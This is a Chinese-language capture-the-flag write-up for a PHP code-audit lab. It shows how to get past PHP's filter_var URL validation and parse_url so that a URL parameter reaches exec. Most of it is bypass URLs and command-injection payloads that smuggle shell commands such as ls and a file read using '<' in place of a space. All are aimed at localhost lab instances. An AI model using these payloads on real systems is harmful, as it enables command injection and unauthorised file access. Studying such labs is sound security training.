知识点
filter_var 函数的绕过
https://www.anquanke.com/post/id/101058#h2-4
许多URL方案中都有保留字符,保留字符都有特定含义。它们在URL的方案特定部分中的外观具有指定的语义。如果在一个方案中保留了与八位组相对应的字符,则该八位组必须被编码。除了字符“;”, “/”, “?”, “:”, “@”, “=” 和 “&” 被定义为保留字符,其余一律为不保留字符。
远程命令执行
https://www.freebuf.com/articles/web/137923.html
本题中使用<代替空格
分析
分析代码,就知道是绕过filter_var来利用exec进行命令执行
我们看exec
$site_info['host']这个参数parse_url处理后得来。
而且程序逻辑是必须满足sec-redclub.com结尾
payload
来自七月火师傅:
https://mochazz.github.io/2018/08/18/PHP-Audit-Labs题解之Day1-4/#Day2题解:-By-七月火
先来绕过 filter_var 的 FILTER_VALIDATE_URL 过滤器,这里提供几个绕过方法,如下:
http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最后一个payload的#符号,请换成对应的url编码 %23
接着要绕过 parse_url 函数,并且满足 $site_info[‘host’] 的值以 sec-redclub.com 结尾,payload如下:
http://localhost/index.php?url=demo://%22;ls;%23;sec-redclub.com:80/
这个是查看当前目录,然后这里的%22('),%23(#),我看了一圈也没人解释。。然后就是我本地输入payload没有回显就很难受。。
ps:这里经过师傅提醒,原因是window本地。。。希望后来的能把php文件放在linux本地测试就有回显了
这里写下我的理解,希望知道的师傅能告知
%22('):这个只要是个特殊符号就行,换成其他的也行
%23(#):这个就像mysql中注释一样,使得后面的不被正常解析。(看了一下url中#代表书签的意思,可能这样会使解析时出错吧。。)
当我们直接用 cat f1agi3hEre.php 命令的时候,过不了 filter_var 函数检测,因为包含空格,这里使用<代替空格具体payload如下:
http://127.0.0.1:88/day2/?url=demo://%22;cat<f1agi3hEre.php;%23;sec-redclub.com:80/